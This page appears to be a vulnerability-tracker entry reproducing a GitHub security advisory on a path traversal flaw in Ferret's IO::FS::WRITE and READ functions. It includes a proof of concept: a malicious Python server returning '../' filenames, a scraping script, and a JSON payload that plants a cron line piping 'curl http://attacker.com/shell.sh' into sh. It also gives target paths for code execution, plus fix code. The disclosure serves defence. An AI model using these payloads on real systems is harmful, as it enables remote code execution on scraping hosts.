Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.
Exploitation
The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.
Attack Flow
- The attacker serves a JSON API with crafted filenames containing
../traversal:
[
{"name": "legit-article", "content": "Normal content."},
{"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]- The victim runs a standard scraping script:
LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))
FOR article IN articles
LET path = "/tmp/ferret_output/" + article.name + ".txt"
IO::FS::WRITE(path, TO_BINARY(article.content))
RETURN { written: path, name: article.name }- FQL string concatenation produces:
/tmp/ferret_output/../../etc/cron.d/evil.txt os.OpenFileresolves../..and writes to/etc/cron.d/evil.txt-- outside the intended output directory- The attacker achieves arbitrary file write with controlled content, leading to code execution.
Realistic Targets
| Target Path | Impact |
|---|---|
/etc/cron.d/<name> | Command execution via cron |
~/.ssh/authorized_keys | SSH access to the machine |
~/.bashrc or ~/.profile | Command execution on next login |
/var/www/html/<name>.php | Web shell |
| Application config files | Credential theft, privilege escalation |
Proof of Concept
Files
Three files are provided in the poc/ directory:
evil_server.py -- Malicious web server returning traversal payloads:
"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler
class EvilHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/api/articles":
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
payload = [
{"name": "legit-article",
"content": "This is a normal article."},
{"name": "../../tmp/pwned",
"content": "ATTACKER_CONTROLLED_CONTENT\n"
"
# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
]
self.wfile.write(json.dumps(payload).encode())
else:
self.send_response(404)
self.end_headers()
if __name__ == "__main__":
server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
print("Listening on :9444")
server.serve_forever()scrape.fql -- Innocent-looking Ferret scraping script:
LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))
FOR article IN articles
LET path = "/tmp/ferret_output/" + article.name + ".txt"
LET data = TO_BINARY(article.content)
IO::FS::WRITE(path, data)
RETURN { written: path, name: article.name }run_poc.sh -- Orchestration script (expects the server to be running separately):
#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"
echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)
rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output
echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true
if [ -f "/tmp/pwned.txt" ]; then
echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
cat /tmp/pwned.txt
fiReproduction Steps
# Terminal 1: start malicious server
python3 poc/evil_server.py
# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh
# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txtObserved Output
=== Ferret Path Traversal PoC ===
[*] Running innocent-looking scrape script...
[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
{"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]
=== Results ===
[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r-- 1 user user 46 Mar 27 18:23 legit-article.txt
[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!
Contents:
ATTACKER_CONTROLLED_CONTENT
# * * * * * root curl http://attacker.com/shell.sh | shSuggested Fix
Option 1: Reject path traversal in IO::FS::WRITE and IO::FS::READ
Resolve the path and verify it doesn't contain .. after cleaning:
func safePath(userPath string) (string, error) {
cleaned := filepath.Clean(userPath)
if strings.Contains(cleaned, "..") {
return "", fmt.Errorf("path traversal detected: %q", userPath)
}
return cleaned, nil
}Option 2: Base directory enforcement (stronger)
Add an optional base directory that FS operations are jailed to:
func safePathWithBase(base, userPath string) (string, error) {
absBase, _ := filepath.Abs(base)
full := filepath.Join(absBase, filepath.Clean(userPath))
resolved, err := filepath.EvalSymlinks(full)
if err != nil {
return "", err
}
if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
}
return resolved, nil
}Root Cause
IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:
file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)There is no:
- Path canonicalization (
filepath.Clean,filepath.Abs,filepath.EvalSymlinks) - Base directory enforcement (checking the resolved path stays within an intended directory)
- Traversal sequence rejection (blocking
..components) - Symlink resolution
The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):
data, err := os.ReadFile(path.String())The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.
AnalysisAI
Path traversal in Ferret's IO::FS::WRITE and IO::FS::READ functions enables remote code execution when web scraping operators process attacker-controlled filenames. The vulnerability affects github.com/MontFerret/ferret (all v2.x and earlier versions), allowing malicious websites to write arbitrary files outside intended directories by injecting '../' sequences into filenames returned via scraped content. Attackers can achieve RCE by writing to /etc/cron.d/, ~/.ssh/authorized_keys, shell profile
Technical ContextAI
Ferret is a Go-based web scraping query language (FQL) that provides filesystem I/O primitives. The vulnerable code in pkg/stdlib/io/fs/write.go and read.go passes user-supplied paths directly to Go's os.OpenFile and os.ReadFile without canonicalization or boundary enforcement. When FQL scripts concatenate scraped data into file paths (e.g., '/tmp/output/' + scraped_filename), attackers can inject traversal sequences that os.OpenFile resolves relative to the filesystem root. This is a classic CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) implementation flaw. Unlike web application path traversal, this occurs in a CLI scraping context where operators reasonably expect to use remote filenames as-is. Ferret's PATH::CLEAN and PATH::JOIN functions use Go's path package (URL-style paths) rather than path/filepath, so they normalize '../' sequences instead of rejecting them, providing no protection. The vulnerability exists because Go's filepath operations resolve symbolic paths without access control enforcement-filepath.Join('/output', '../../etc/cron.d/evil') legitimately produces '/etc/cron.d/evil' at the OS level.
RemediationAI
Vendor-released patch available via GitHub commit 160ebad6bd50f153453e120f6d909f5b83322917 (https://github.com/MontFerret/ferret/commit/160ebad6bd50f153453e120f6d909f5b83322917). Users should update their go.mod dependency to reference the patched commit or later release: 'go get github.com/MontFerret/ferret@160ebad6b' then rebuild applications. The patch implements path sanitization rejecting traversal sequences and enforcing base directory constraints in IO::FS::WRITE and IO::FS::READ. Until patching, implement workarounds: validate all scraped filenames against an allowlist of safe characters (alphanumeric, dash, underscore only) before passing to IO::FS functions; use filepath.Base() to strip directory components from scraped names; or implement application-level jailing by verifying resolved paths with filepath.EvalSymlinks remain within intended output directories. Do not rely on Ferret's PATH::CLEAN or PATH::JOIN as they normalize rather than block traversal. For high-risk environments, consider sandboxing Ferret processes with restricted filesystem access via containers, AppArmor, or SELinux policies limiting write permissions to designated output directories only. Full technical details and proof-of-concept in advisory https://github.com/advisories/GHSA-j6v5-g24h-vg4j.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-19353
GHSA-j6v5-g24h-vg4j